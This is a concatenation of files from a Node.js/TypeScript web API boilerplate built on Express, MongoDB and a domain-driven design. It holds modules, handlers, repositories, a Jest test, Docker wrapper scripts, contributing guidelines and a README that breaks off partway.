const makeArticleCreatedEmailListener = eventConsumer<ArticleCreatedEvent.Type, Dependencies>(
ArticleCreatedEvent,
({ articleCollection }) =>
async (event) => {
const article = await articleCollection.findOne({ _id: from(event.payload.id.value) });
console.log(article);
}
);
export { makeArticleCreatedEmailListener };
<file_sep>import { Comment } from '@/comment/domain/Comment';
import { CommentId } from '@/comment/domain/CommentId';
import { Repository } from '@/_lib/DDD';
type CommentRepository = Repository<Comment.Type> & {
findById(id: CommentId['value']): Promise<Comment.Type>;
};
export { CommentRepository };
<file_sep>import { CreateComment, makeCreateComment } from '@/comment/application/useCases/CreateComment';
import { CommentRepository } from '@/comment/domain/CommentRepository';
import { CommentCollection, initCommentCollection } from '@/comment/infrastructure/CommentCollection';
import { makeMongoCommentRepository } from '@/comment/infrastructure/MongoCommentRepository';
import { makeCommentController } from '@/comment/interface/http/commentController';
import { makeModule } from '@/context';
import { withMongoProvider } from '@/_lib/MongoProvider';
import { toContainerValues } from '@/_lib/di/containerAdapters';
import { asFunction } from 'awilix';
const commentModule = makeModule('comment', async ({ container: { register }, initialize }) => {
const [collections] = await initialize(
withMongoProvider({
commentCollection: initCommentCollection,
})
);
register({
...toContainerValues(collections),
commentRepository: asFunction(makeMongoCommentRepository),
createComment: asFunction(makeCreateComment),
});
await initialize(makeCommentController);
});
type CommentRegistry = {
commentCollection: CommentCollection;
commentRepository: CommentRepository;
createComment: CreateComment;
};
export { commentModule };
export type { CommentRegistry };
<file_sep>import('tsconfig-paths')
.then(({ register }) => {
register({
baseUrl: __dirname,
paths: { '@/*': ['*'] },
addMatchAll: false,
});
})
.then(() => import('@/_boot'))
.then(({ main }) => main())
.catch((err) => {
console.error(err);
if (process.env.NODE_ENV === 'production') {
process.kill(process.pid, 'SIGTERM');
}
});
<file_sep>import { RequestHandler } from 'express';
import { asFunction } from 'awilix';
import { AsyncHandler, runAsync } from '@/_lib/http/runAsync';
type ControllerHandler = (dependencies: any) => AsyncHandler;
const handler = (handler: ControllerHandler): RequestHandler => {
const resolver = asFunction(handler);
return (req, res, next) => {
if (!('container' in req)) {
throw new Error("Can't find the request container! Have you registered the `requestContainer` middleware?");
}
const injectedHandler = req.container.build(resolver);
return runAsync(injectedHandler)(req, res, next);
};
};
export { handler };
<file_sep>import { DeleteArticle } from '@/article/application/useCases/DeleteArticle';
import { handler } from '@/_lib/http/handler';
type Dependencies = {
deleteArticle: DeleteArticle;
};
const deleteArticleHandler = handler(({ deleteArticle }: Dependencies) => async (req, res) => {
const { articleId } = req.params;
await deleteArticle(articleId);
res.sendStatus(204);
});
export { deleteArticleHandler };
<file_sep>import { PartializeProperties } from '@/_lib/PartializeProperties';
type Exception<M = any> = Readonly<{
name: string;
type: symbol;
message: string;
code: string;
meta?: M;
}>;
type Props<M = any> = PartializeProperties<Exception<M>, 'name'>;
class BaseError<M = any> extends Error implements Exception<M> {
public readonly type: symbol;
public readonly code: string;
public readonly meta?: M;
constructor(props: Props<M>) {
super();
this.name = props.name || props.code;
this.type = props.type;
this.code = props.code;
this.meta = props.meta;
this.message = props.message;
Error.captureStackTrace(this, BaseError);
}
}
export { BaseError };
export type { Exception };
<file_sep>#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
if [[ $1 == --root ]] ; then
shift
. "$DIR/run" --root /bin/ash "$@"
else
. "$DIR/run" /bin/ash "$@"
fi<file_sep>import { CreateArticle } from '@/article/application/useCases/CreateArticle';
import { makeValidator } from '@/_lib/http/validation/Validator';
import { handler } from '@/_lib/http/handler';
import { Request, Response } from 'express';
import Joi from 'types-joi';
import { HttpStatus } from '@/_lib/http/HttpStatus';
type Dependencies = {
createArticle: CreateArticle;
};
const { getBody } = makeValidator({
body: Joi.object({
title: Joi.string().required(),
content: Joi.string().required(),
}).required(),
});
const createArticleHandler = handler(({ createArticle }: Dependencies) => async (req: Request, res: Response) => {
const { title, content } = getBody(req);
const articleId = await createArticle({ title, content });
res.status(HttpStatus.CREATED).json({ id: articleId });
});
export { createArticleHandler };
<file_sep>import { NextFunction, Request, Response } from 'express';
type AsyncHandler = (req: Request, res: Response, next: NextFunction) => Promise<any>;
const runAsync = (handler: AsyncHandler) => (req: Request, res: Response, next: NextFunction) =>
handler(req, res, next).catch(next);
export { runAsync };
export type { AsyncHandler };
<file_sep>type AggregateId<T> = {
value: T;
};
type AggregateRoot<ID extends AggregateId<any>> = {
readonly id: ID;
};
type Repository<T extends AggregateRoot<any>, ID extends AggregateId<any> = T['id']> = {
getNextId(): Promise<ID>;
store(entity: T): Promise<void>;
};
type ApplicationService<P, R> = (payload: P) => Promise<R>;
type DataMapper<AR extends AggregateRoot<any>, DATA> = {
toEntity(data: DATA): AR;
toData(entity: AR): DATA;
};
export { AggregateId, AggregateRoot, Repository, ApplicationService, DataMapper };
<file_sep>import { ArticleCollection, ArticleSchema } from '@/article/infrastructure/ArticleCollection';
import MUUID from 'uuid-mongodb';
import { FindArticles } from '@/article/application/query/FindArticles';
import { CommentSchema } from '@/comment/infrastructure/CommentCollection';
import { Filter } from 'mongodb';
type Dependencies = {
articleCollection: ArticleCollection;
};
const makeMongoFindArticles =
({ articleCollection }: Dependencies): FindArticles =>
async ({ pagination, filter, sort }) => {
let match: Filter<ArticleSchema> = {
status: 'PUBLISHED',
deleted: false,
};
if (filter.title) {
match = {
...match,
title: { $regex: `^${filter.title}`, $options: 'i' },
};
}
if (filter.publishedBetween) {
match = {
...match,
publishedAt: {
$gte: new Date(filter.publishedBetween[0]),
$lt: new Date(filter.publishedBetween[1]),
},
};
}
const articles = await articleCollection
.aggregate([
{
$match: match,
},
{
$skip: Math.max(1 - pagination.page, 0) * pagination.pageSize,
},
{
$limit: pagination.pageSize,
},
...(sort?.length
? [{ $sort: sort.reduce((acc, { field, direction }) => ({ [field]: direction === 'asc' ? 1 : -1 }), {}) }]
: []),
{
$lookup: {
from: 'comment',
as: 'comments',
let: { articleId: '$_id' },
pipeline: [
{
$match: {
deleted: false,
$expr: { $eq: ['$articleId', '$$articleId'] },
},
},
],
},
},
])
.toArray<ArticleSchema & { comments: CommentSchema[]; publishedAt: Date }>();
const totalElements = await articleCollection.countDocuments(match);
const totalPages = Math.ceil(totalElements / pagination.pageSize);
return {
data: articles.map((article) => ({
id: MUUID.from(article._id).toString(),
title: article.title,
content: article.content,
publishedAt: article.publishedAt,
comments: article.comments.map((comment) => ({
id: MUUID.from(comment._id).toString(),
body: comment.body,
createdAt: comment.createdAt,
})),
})),
page: {
totalPages,
pageSize: pagination.pageSize,
totalElements,
current: pagination.page,
first: pagination.page === 1,
last: pagination.page === totalPages,
},
};
};
export { makeMongoFindArticles };
<file_sep>import { makeModule } from '@/context';
import { makeMongoProvider, MongoProvider } from '@/_lib/MongoProvider';
import { asValue } from 'awilix';
import { Db, MongoClient } from 'mongodb';
type DatabaseConfig = {
mongodb: {
database: string;
host: string;
username: string;
password: string;
};
};
const database = makeModule('database', async ({ container: { register }, config: { mongodb } }) => {
const client = new MongoClient(mongodb.host, {
auth: { username: mongodb.username, password: <PASSWORD> },
});
await client.connect();
const db = client.db(mongodb.database);
const mongoProvider = makeMongoProvider({ db });
register({
mongo: asValue(db),
mongoProvider: asValue(mongoProvider),
});
return async () => {
await client.close();
};
});
type DatabaseRegistry = {
mongo: Db;
mongoProvider: MongoProvider;
};
export { database };
export type { DatabaseRegistry, DatabaseConfig };
<file_sep># Contributing
Contributions are always welcome! When contributing to Node API boilerplate we ask you to follow our code of conduct:
## Code of conduct
In short: _Be nice_. Pay attention to the fact that Node API boilerplate is free software, don't be rude with the contributors or with people with questions and we'll be more than glad to help you. Destructive criticism and demanding will be ignored.
## Opening issues
When opening an issue be descriptive about the bug or the feature suggestion, don't simply paste the error message on the issue title or description. Also, **provide code to simulate the bug**, we need to know the exact circumstances in which the bug occurs. Again, follow our [code of conduct](#code-of-conduct).
## Pull requests
When opening a pull request to Node API boilerplate, follow this steps:
1. Fork the project;
2. Create a new branch for your changes;
3. Do your changes;
4. Open the pull request;
5. Write a complete description about the bug or the feature the pull request is about.
<file_sep>import { makeEventConsumer } from '@/_lib/events/EventConsumer';
import { key } from '@/_lib/pubSub/EventEmitterPubSub';
const eventConsumer = makeEventConsumer(key);
export { eventConsumer };
<file_sep>import { makeModule } from '@/context';
import { makeEventEmitterPubSub } from '@/_lib/pubSub/EventEmitterPubSub';
import { asValue } from 'awilix';
import { Subscriber } from '@/_lib/events/Subscriber';
import { Publisher } from '@/_lib/events/Publisher';
const pubSub = makeModule('pubSub', async ({ container: { build, register }, app: { onReady } }) => {
const eventEmitterPubSub = build(makeEventEmitterPubSub);
register({
eventEmitterPubSub: asValue(eventEmitterPubSub),
});
onReady(async () => {
await eventEmitterPubSub.start();
});
return async () => {
await eventEmitterPubSub.dispose();
};
});
type PubSubRegistry = {
eventEmitterPubSub: Publisher & Subscriber;
};
export { pubSub };
export type { PubSubRegistry };
<file_sep>#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
. "$DIR/run" npx "$@"
<file_sep>import { AggregateId } from '@/_lib/DDD';
type IdProvider<T extends AggregateId<N>, N = T['value']> = {
create(id: N): T;
ensure(id: T): id is T;
validate(id: T): void;
};
const makeIdProvider = <T extends AggregateId<N>, N = T['value']>(idName: string): IdProvider<T, N> => {
const key = Symbol();
return {
create: (id: N): T =>
({
value: id,
[key]: true,
} as unknown as T),
ensure: (id: T | any): id is T => Boolean(id[key]),
validate: (id: T) => {
if (!id[key]) {
throw new TypeError(`${id.value} is not a valid ${idName}`);
}
},
};
};
export { makeIdProvider };
export type { IdProvider };
<file_sep>type PartializeProperties<Type, Properties extends keyof Type> = Omit<Type, Properties> &
Partial<Pick<Type, Properties>>;
export { PartializeProperties };
<file_sep>import { Collection, Db } from 'mongodb';
import MUUID from 'uuid-mongodb';
MUUID.mode('relaxed');
interface Dependencies {
db: Db;
}
type CollectionInitializer = Record<string, (db: Db) => Promise<Collection<any>>>;
type ThenArg<T> = T extends PromiseLike<infer U> ? U : T;
type MongoProvider = <Type extends CollectionInitializer>(
collectionInitializer: Type
) => Promise<{ [key in keyof Type]: ThenArg<ReturnType<Type[key]>> }>;
type InitializedCollections<Type extends CollectionInitializer> = Promise<
{ [key in keyof Type]: ThenArg<ReturnType<Type[key]>> }
>;
const makeMongoProvider =
({ db }: Dependencies): MongoProvider =>
(collections) =>
Object.entries(collections).reduce(
(chain: Promise<any>, [key, promise]) =>
chain.then((acc) => promise(db).then((collection) => ({ ...acc, [key]: collection }))),
Promise.resolve()
);
const withMongoProvider =
<Type extends CollectionInitializer>(collections: Type) =>
({ mongoProvider }: { mongoProvider: MongoProvider }): InitializedCollections<Type> =>
mongoProvider(collections);
export { makeMongoProvider, withMongoProvider };
export type { MongoProvider };
<file_sep>import { makeModule } from '@/context';
import { errorHandler } from '@/_lib/http/middlewares/errorHandler';
import { gracefulShutdown } from '@/_lib/http/middlewares/gracefulShutdown';
import { httpLogger, reqStartTimeKey } from '@/_lib/http/middlewares/httpLogger';
import { requestContainer } from '@/_lib/http/middlewares/requestContainer';
import { statusHandler } from '@/_lib/http/middlewares/statusHandler';
import { errorConverters } from '@/_sharedKernel/interface/http/ErrorConverters';
import { asValue } from 'awilix';
import cors, { CorsOptions } from 'cors';
import express, { Application, json, Router, urlencoded } from 'express';
import helmet from 'helmet';
import { createServer, Server } from 'http';
type ServerConfig = {
http: {
host: string;
port: number;
cors?: boolean | CorsOptions;
};
};
const server = makeModule(
'server',
async ({ app: { onBooted, onReady }, container, config: { cli, http, environment }, logger }) => {
const { register } = container;
const server = express();
const httpServer = createServer(server);
const { shutdownHook, shutdownHandler } = gracefulShutdown(httpServer);
server.use((req, res, next) => {
res[reqStartTimeKey] = Date.now();
next();
});
server.use(shutdownHandler());
if (http.cors) {
server.use(cors(typeof http.cors !== 'boolean' ? http.cors : {}));
}
server.use(httpLogger());
server.use(requestContainer(container));
server.use(helmet());
server.use(json());
server.use(urlencoded({ extended: false }));
const rootRouter = Router();
const apiRouter = Router();
rootRouter.get('/status', statusHandler);
rootRouter.use('/api', apiRouter);
server.use(rootRouter);
onBooted(async () => {
server.use((_, res) => {
res.sendStatus(404);
});
server.use(errorHandler(errorConverters, { logger }));
});
if (!cli && environment !== 'test') {
onReady(
async () =>
new Promise<void>((resolve) => {
httpServer.listen(http.port, http.host, () => {
logger.info(`Webserver listening at: http://${http.host}:${http.port}`);
resolve();
});
})
);
}
register({
requestId: asValue(undefined),
server: asValue(server),
httpServer: asValue(httpServer),
rootRouter: asValue(rootRouter),
apiRouter: asValue(apiRouter),
});
return async () => {
await shutdownHook();
};
}
);
type ServerRegistry = {
requestId?: string;
server: Application;
httpServer: Server;
rootRouter: Router;
apiRouter: Router;
};
export { server };
export type { ServerRegistry, ServerConfig };
<file_sep>type HookFn = () => Promise<void>;
type HookStore = {
get: (lifecycle: Lifecycle) => HookFn[];
append: (lifecycle: Lifecycle, ...fn: HookFn[]) => void;
prepend: (lifecycle: Lifecycle, ...fn: HookFn[]) => void;
};
enum Lifecycle {
BOOTING = 'BOOTING',
BOOTED = 'BOOTED',
READY = 'READY',
RUNNING = 'RUNNING',
DISPOSING = 'DISPOSING',
DISPOSED = 'DISPOSED',
}
type LifecycleHooks = {
[key in `on${Capitalize<Lowercase<keyof typeof Lifecycle>>}`]: (
fn: HookFn | HookFn[],
order?: 'append' | 'prepend'
) => void;
};
type Application = {
getState: () => AppState;
start: () => Promise<void>;
stop: () => Promise<void>;
terminate: () => void;
decorateHooks: (decorator?: (lifecycle: Lifecycle, fn: HookFn | HookFn[]) => HookFn | HookFn[]) => Application;
} & LifecycleHooks;
type ApplicationOptions = {
shutdownTimeout: number;
logger: Pick<Console, 'info' | 'error' | 'warn'>;
};
const makeApp = ({ logger, shutdownTimeout }: ApplicationOptions): Application => {
let appState: AppState = AppState.IDLE;
let release: null | (() => void);
const hooks = makeHookStore();
const started: HookFn = () =>
new Promise<void>((resolve) => {
logger.info('Application started');
appState = AppState.STARTED;
release = resolve;
});
const status = (newStatus: AppState) => async () => {
appState = newStatus;
};
const transition = (lifecycle: Lifecycle) => () => promiseChain(hooks.get(lifecycle));
const start = memo(async () => {
if (appState !== AppState.IDLE) throw new Error('The application has already started.');
logger.info('Starting application');
try {
await promiseChain([
status(AppState.STARTING),
transition(Lifecycle.BOOTING),
transition(Lifecycle.BOOTED),
transition(Lifecycle.READY),
transition(Lifecycle.RUNNING),
started,
]);
} catch (err) {
logger.error(err);
await stop();
}
});
const stop = memo(async () => {
if (appState === AppState.IDLE) throw new Error('The application is not running.');
if (release) {
release();
release = null;
}
logger.info('Stopping application');
await promiseChain([
status(AppState.STOPPING),
transition(Lifecycle.DISPOSING),
transition(Lifecycle.DISPOSED),
status(AppState.STOPPED),
]);
setTimeout(() => {
logger.warn(
'The stop process has finished but something is keeping the application from exiting. ' +
'Check your cleanup process!'
);
}, 5000).unref();
});
let forceShutdown = false;
const shutdown = (code: number) => async () => {
process.stdout.write('\n');
setTimeout(() => {
logger.error('Ok, my patience is over! #ragequit');
process.exit(code);
}, shutdownTimeout).unref();
if ((appState === AppState.STOPPING || appState === AppState.STOPPED) && code === 0) {
if (forceShutdown) {
process.kill(process.pid, 'SIGKILL');
}
logger.warn('The application is yet to finishing the shutdown process. Repeat the command to force exit');
forceShutdown = true;
return;
}
try {
await stop();
} catch (err) {
logger.error(err);
}
process.exit(code);
};
const terminate = () => process.kill(process.pid, 'SIGTERM');
process.on('SIGTERM', shutdown(0));
process.on('SIGINT', shutdown(0));
process.on('uncaughtException', shutdown(1));
process.on('unhandledRejection', shutdown(1));
const lifecycleHooks = (
decorator: (lifecycle: Lifecycle, fn: HookFn | HookFn[]) => HookFn | HookFn[] = (lifecycle, fn) => fn
) => {
const once = (lifecycle, fn, order = 'append') => {
const decoratedFn = decorator(lifecycle, fn);
Array.isArray(decoratedFn) ? hooks[order](lifecycle, ...decoratedFn) : hooks[order](lifecycle, decoratedFn);
};
return Object.keys(Lifecycle).reduce(
(acc, hook) => ({
...acc,
[`on${capitalize(hook)}`]: (fn: HookFn | HookFn[], order?: 'append' | 'prepend') =>
once(Lifecycle[hook], fn, order),
}),
{}
) as unknown as LifecycleHooks;
};
const application: Application = {
start,
stop,
terminate,
getState: () => appState,
decorateHooks: (decorator?): Application => ({
...application,
...lifecycleHooks(decorator),
}),
...lifecycleHooks(),
};
return application;
};
enum AppState {
IDLE = 'IDLE',
STARTING = 'STARTING',
STARTED = 'STARTED',
STOPPING = 'STOPPING',
STOPPED = 'STOPED',
}
const capitalize = (str: string) => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase();
const memo = <F extends (...args: any[]) => any>(fn: F) => {
let value: ReturnType<F>;
return (...args: Parameters<F>): ReturnType<F> => {
if (!value) {
value = fn(args);
}
return value;
};
};
const promiseChain = <M extends HookFn[]>(hooksFns: M) => {
return hooksFns.reduce((chain, fn) => chain.then(fn), Promise.resolve());
};
const makeHookStore = (): HookStore => {
const hooks = new Map<Lifecycle, HookFn[]>();
const get = (lifecycle: Lifecycle) => hooks.get(lifecycle) || [];
const append = (lifecycle: Lifecycle, ...fn: HookFn[]) => hooks.set(lifecycle, [...get(lifecycle), ...fn]);
const prepend = (lifecycle: Lifecycle, ...fn: HookFn[]) => hooks.set(lifecycle, [...fn, ...get(lifecycle)]);
return {
get,
append,
prepend,
};
};
export { makeApp };
export type { Application, HookFn };
<file_sep>import { Event, EventAddress } from '@/_lib/events/Event';
import { Subscriber, SubscriberOptions } from '@/_lib/events/Subscriber';
const makeEventConsumer =
<S extends string = 'subscriber'>(subscriberKey: S = 'subscriber' as S) =>
<E extends Event<any>, D extends Record<string, any> | void = void, OPTS = SubscriberOptions>(
address: EventAddress<E['eventType'], E['topic']>,
fn: (deps: D) => (event: E) => Promise<void>,
opts: Partial<OPTS> = {}
) =>
(deps: D & { [key in S]: Subscriber<OPTS> }): void => {
const { [subscriberKey]: subscriber } = deps;
subscriber.add(address, fn(deps), opts);
};
const eventConsumer = makeEventConsumer();
export { eventConsumer, makeEventConsumer };
<file_sep>import Joi from 'types-joi';
import { BaseError, Exception } from '@/_lib/errors/BaseError';
import { makePredicate } from '@/_lib/Predicate';
namespace ValidationError {
const type = Symbol();
const name = 'ValidationError';
type Props = {
readonly target: string;
readonly error: Joi.ValidationError;
};
export const create = ({ error, target }: Props): Exception<Props> =>
new BaseError<Props>({ type, name, code: name, message: error.message, meta: { target, error } });
export const is = makePredicate<Exception<Props>>(type);
}
export { ValidationError };
<file_sep>import { Resolver } from 'awilix/lib/resolvers';
import { asValue } from 'awilix';
type Values = Record<string, any>;
type ContainerValues = <Type extends Values>(values: Type) => { [key in keyof Type]: Resolver<Type[key]> };
const toContainerValues: ContainerValues = (values) =>
Object.entries(values).reduce((acc: any, [key, value]) => ({ ...acc, [key]: asValue(value) }), {});
export { toContainerValues };
<file_sep>import { AggregateRoot } from '@/_lib/DDD';
import assertFn from 'assert';
type AssertionFn = (value: any, message?: string | Error) => void;
type InvariantCheckFn<A> = (self: A, assert: AssertionFn) => void;
const makeWithInvariants =
<A extends AggregateRoot<any>>(invariantCheckFn: InvariantCheckFn<A>) =>
<F extends (...args: any[]) => A>(fn: F) =>
(...args: Parameters<F>): ReturnType<F> => {
const self = fn(...args);
invariantCheckFn(self, assertFn);
return self as ReturnType<F>;
};
export { makeWithInvariants };
export type { AssertionFn };
<file_sep>import { makeIdProvider } from '@/_lib/IdProvider';
import { ArticleId } from '@/_sharedKernel/domain/ArticleId';
const ArticleIdProvider = makeIdProvider<ArticleId>('ArticleId');
export { ArticleIdProvider };
<file_sep>import { Article } from '@/article/domain/Article';
import { ArticleSchema } from '@/article/infrastructure/ArticleCollection';
import { DataMapper } from '@/_lib/DDD';
import { ArticleIdProvider } from '@/_sharedKernel/infrastructure/ArticleIdProvider';
import { from } from 'uuid-mongodb';
const ArticleMapper: DataMapper<Article.Type, ArticleSchema> = {
toData: (entity: Article.Type) => ({
_id: from(entity.id.value),
title: entity.title,
content: entity.content,
status: entity.state,
publishedAt: entity.publishedAt,
createdAt: entity.createdAt,
deleted: entity.state === 'DELETED',
updatedAt: entity.createdAt,
version: entity.version,
}),
toEntity: (data: ArticleSchema) => ({
id: ArticleIdProvider.create(from(data._id).toString()),
title: data.title,
content: data.content,
state: data.status,
publishedAt: data.publishedAt,
createdAt: data.createdAt,
updatedAt: data.createdAt,
version: data.version,
}),
};
export { ArticleMapper };
<file_sep>import { Collection, Db } from 'mongodb';
import { MUUID } from 'uuid-mongodb';
type CommentSchema = {
_id: MUUID;
body: string;
articleId: MUUID;
status: 'ACTIVE' | 'DELETED';
deleted: boolean;
createdAt: Date;
updatedAt: Date;
version: number;
};
type CommentCollection = Collection<CommentSchema>;
const initCommentCollection = async (db: Db): Promise<CommentCollection> => {
const collection: CommentCollection = db.collection('comment');
await collection.createIndex({ _id: 1, version: 1 });
await collection.createIndex({ _id: 1, deleted: 1 });
return collection;
};
export { initCommentCollection };
export type { CommentSchema, CommentCollection };
<file_sep>import * as Joi from 'types-joi';
import { Request } from 'express';
import { InterfaceFrom } from 'types-joi';
import { ValidationError } from '@/_lib/errors/ValidationError';
type ValidationSchemas = {
body?: Joi.BaseSchema<any>;
params?: Joi.BaseSchema<any>;
query?: Joi.BaseSchema<any>;
headers?: Joi.BaseSchema<any>;
cookies?: Joi.BaseSchema<any>;
};
type ValidationType<T> = T extends Joi.BaseSchema<any> ? InterfaceFrom<NonNullable<T>> : any;
type ValidationHelpers<T extends ValidationSchemas> = {
getBody(req: Request): ValidationType<T['body']>;
getParams(req: Request): ValidationType<T['params']>;
getQuery(req: Request): ValidationType<T['query']>;
getCookies(req: Request): ValidationType<T['cookies']>;
getHeaders(req: Request): ValidationType<T['headers']>;
};
const makeValidator = <T extends ValidationSchemas>(schemas: T): ValidationHelpers<typeof schemas> => {
const createValidator = (key: keyof ValidationSchemas) => (req: Request) => {
if (!schemas[key]) {
return req[key];
}
const { value, error } = (schemas[key] as Joi.BaseSchema<any>).validate(req[key]);
if (error) {
throw ValidationError.create({ target: key, error });
}
return value;
};
return {
getBody: createValidator('body'),
getParams: createValidator('params'),
getQuery: createValidator('query'),
getHeaders: createValidator('headers'),
getCookies: createValidator('cookies'),
};
};
export { makeValidator };
<file_sep>import { Comment } from '@/comment/domain/Comment';
import { CommentSchema } from '@/comment/infrastructure/CommentCollection';
import { CommentIdProvider } from '@/comment/infrastructure/CommentIdProvider';
import { DataMapper } from '@/_lib/DDD';
import { ArticleIdProvider } from '@/_sharedKernel/infrastructure/ArticleIdProvider';
import { from } from 'uuid-mongodb';
const CommentMapper: DataMapper<Comment.Type, CommentSchema> = {
toData: (entity) => ({
_id: from(entity.id.value),
body: entity.body,
articleId: from(entity.articleId.value),
status: entity.status,
deleted: entity.status === 'DELETED',
createdAt: entity.createdAt,
updatedAt: entity.updatedAt,
version: entity.version,
}),
toEntity: (data) => ({
id: CommentIdProvider.create(from(data._id).toString()),
body: data.body,
articleId: ArticleIdProvider.create(from(data.articleId).toString()),
status: data.status,
createdAt: data.createdAt,
updatedAt: data.createdAt,
version: data.version,
}),
};
export { CommentMapper };
<file_sep>import { asValue } from 'awilix';
import { RequestHandler } from 'express';
import { Container } from '@/container';
const requestContainer =
(container: Container): RequestHandler =>
(req, _, next) => {
const scopedContainer = container.createScope();
scopedContainer.register({
requestId: asValue(req.id),
});
req.container = scopedContainer;
next();
};
export { requestContainer };
<file_sep>import { FindArticles } from '@/article/application/query/FindArticles';
import { handler } from '@/_lib/http/handler';
import Joi from 'types-joi';
import { makePaginator } from '@/_lib/http/validation/Paginator';
type Dependencies = {
findArticles: FindArticles;
};
const { getFilter, getPagination, getSorter } = makePaginator({
filter: Joi.object({
title: Joi.string(),
publishedBetween: Joi.array().items(Joi.date().iso().required()).min(2).max(2),
}),
});
const findArticlesHandler = handler(({ findArticles }: Dependencies) => async (req, res) => {
const filter = getFilter(req);
const pagination = getPagination(req);
const sort = getSorter(req);
const articles = await findArticles({
filter,
sort,
pagination,
});
res.json(articles);
});
export { findArticlesHandler };
<file_sep>import { Article } from '@/article/domain/Article';
import { Event } from '@/_lib/events/Event';
import { v4 } from 'uuid-mongodb';
namespace ArticleCreatedEvent {
export const topic = 'Article' as const;
export const eventType = 'ArticleCreatedEvent' as const;
type ArticleCreatedEvent = Event<Article.Type, typeof eventType, typeof topic>;
export const create = (article: Article.Type): ArticleCreatedEvent => ({
eventId: v4().toString(),
eventType,
topic,
payload: article,
});
export type Type = ArticleCreatedEvent;
}
export { ArticleCreatedEvent };
<file_sep>import { ApplicationService } from '@/_lib/DDD';
import { Event } from '@/_lib/events/Event';
import { Publisher } from '@/_lib/events/Publisher';
type Enqueue = <E extends Event<any>>(event: E) => void;
type EventStore = {
enqueue: Enqueue;
getEvents: () => ReadonlyArray<Event<any>>;
};
const makeEventProvider =
<S extends string = 'publisher'>(publisherKey: S = 'publisher' as S) =>
<D extends Record<string, any>, AS extends ApplicationService<any, any>>(fn: (deps: D, enqueue: Enqueue) => AS) =>
(deps: D & { [key in S]: Publisher }): AS => {
const { [publisherKey]: publisher } = deps;
const { getEvents, enqueue } = makeEventStore();
const service = fn(deps, enqueue);
const wrapper = async (arg) => {
const result = await service(arg);
getEvents().forEach((event) => publisher.publish(event));
return result;
};
return wrapper as AS;
};
const makeEventStore = (): EventStore => {
let eventStore: Event<any>[] = [];
return {
enqueue: <E extends Event<any>>(event: E) => {
eventStore = [...eventStore, event];
},
getEvents: () => [...eventStore],
};
};
const eventProvider = makeEventProvider();
export { eventProvider, makeEventProvider };
<file_sep>import { MainConfig } from '@/_boot';
import { environment, EnvironmentConfig, envNumber, envString } from '@/_lib/Environment';
type Configuration = MainConfig & EnvironmentConfig;
const config: Configuration = {
appName: 'node-api-boilerplate',
cli: process.argv.includes('--cli'),
environment: environment(),
repl: {
port: envNumber('REPL_PORT', 2580),
},
http: {
host: envString('HOST', 'localhost'),
port: envNumber('PORT', 3000),
},
swagger: {
title: 'Blog API',
version: '1.0.0',
basePath: '/api',
docEndpoint: '/api-docs',
},
mongodb: {
database: envString('DB_NAME', 'blog'),
host: envString('DB_HOST', 'mongodb://localhost:27017'),
username: envString('DB_USER', 'blog'),
password: envString('DB_PASS', '<PASSWORD>'),
},
};
export { config };
export type { Configuration };
<file_sep>import { Event } from '@/_lib/events/Event';
type Publisher = {
publish: <T extends Event<any>>(event: T) => Promise<void>;
};
export { Publisher };
<file_sep>import { DeleteArticle, makeDeleteArticle } from '@/article/application/useCases/DeleteArticle';
import { Article } from '@/article/domain/Article';
import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { BaseError } from '@/_lib/errors/BaseError';
import { NotFoundError } from '@/_lib/errors/NotFoundError';
describe('DeleteArticle', () => {
const id = 'mock-article-id';
const title = 'Title';
const content = 'Some content';
const articleRepository: ArticleRepository = {
findById: jest.fn().mockImplementation(async (articleId) => {
if (articleId !== id) {
throw NotFoundError.create(articleId);
}
return Article.create({
id: { value: id },
title,
content,
});
}),
store: jest.fn(),
getNextId: jest.fn(),
};
let deleteArticle: DeleteArticle;
beforeEach(async () => {
jest.clearAllMocks();
deleteArticle = makeDeleteArticle({ articleRepository });
});
it('should save the article as deleted', async () => {
await deleteArticle(id);
expect(articleRepository.store).toHaveBeenCalledWith(
expect.objectContaining({
id: { value: id },
state: 'DELETED',
})
);
});
it('should throw error if not found', async () => {
await expect(deleteArticle('some-wrong-id')).rejects.toThrowError(BaseError);
});
});
<file_sep># What is it
This project is a starting point for you to develop a web API in a scalable way with Node and TypeScript, and was implemented following ideas from layered architecture, Clean Architecture, and Domain-Driven Design. While it contains an opinionated design and structure, it was built to be extensible and flexible so you can modify and adapt it according to your team's needs and preferences.
This version of the boilerplate is still in beta, so might contain abstractions that will change or be missing features. Contribution from the community, either through PRs or is welcome.
**Important** This is the documentation for the v3 of the boilerplate. Click here if you want the [docs for the v2.1](https://github.com/talyssonoc/node-api-boilerplate/tree/v2.1).
# Usage
## How to run the server
During development, the project can be run in two different ways.
If you want to just run the application in development mode, use the following command:
```sh
$ yarn dev
```
To run the application in debug mode in a way that the execution will stop when a debugger statement is called, use:
```sh
$ yarn debug
```
## How to run the application console
You can also run the application in console mode, giving you programmatic access to the environment, this can also be done in two different ways.
To run a new instance, isolated from the server, use the following command:
```sh
$ yarn cli
```
For the new instance, you're able to access the dependencies registered in the container using `registry.<dependencyName>` or through the `container` variable.
But if you're already running the server (this is a requirement) and you want to a console connected to the process of the server, giving you access to the current state of it, use:
```sh
$ yarn remote [server address] [REPL port]
```
## Tests
The boilerplate is prepared to run tests using Jest. We usually group the tests in folders called `__tests__` (following Jest convention) for each module of the application. To run the tests use the following command:
```sh
$ yarn test
```
## Docker wrapper
In case you want to use Docker to run it, this project includes a [docker wrapper](https://github.com/brunohcastro/node-base) for development. Any command can be executed by calling the scripts under the `dbin/` folder.
```sh
$ dbin/yarn dev
$ dbin/yarn debug
$ dbin/yarn cli
$ dbin/yarn remote [server address] [REPL port]
$ dbin/yarn test
```
The container runs using host networking, so there's no need to map ports. Keep in mind that environment variables should be added to the docker-compose.yml.
### Wrapper commands
```sh
# Runs the command inside an ephemeral container using the app service described in the docker-compose file as a base (use the --root flag if the command should be run as root)
$ dbin/run [--root] <command>
# Rebuild the image after any changes to the dockerfile
$ dbin/build
# Remove all containers and their volumes (WARNING any cache or files not stored in the filesystem will be deleted)
$ dbin/dispose
# Appends a RUN command to the base image, useful to install new packages
$ dbin/chimg <command>
```
### Wrapper Aliases
```sh
# Creates a new <name> file in dbin to alias the <command> inside the docker container (use the --root flag if the command should be run as root)
$ dbin/mkalias [--root] <name> <command>
# Opens a new terminal in the project folder (use the --root flag if the shell should assume the root user)
$ dbin/shell [--root]
# Runs npm in the project folder
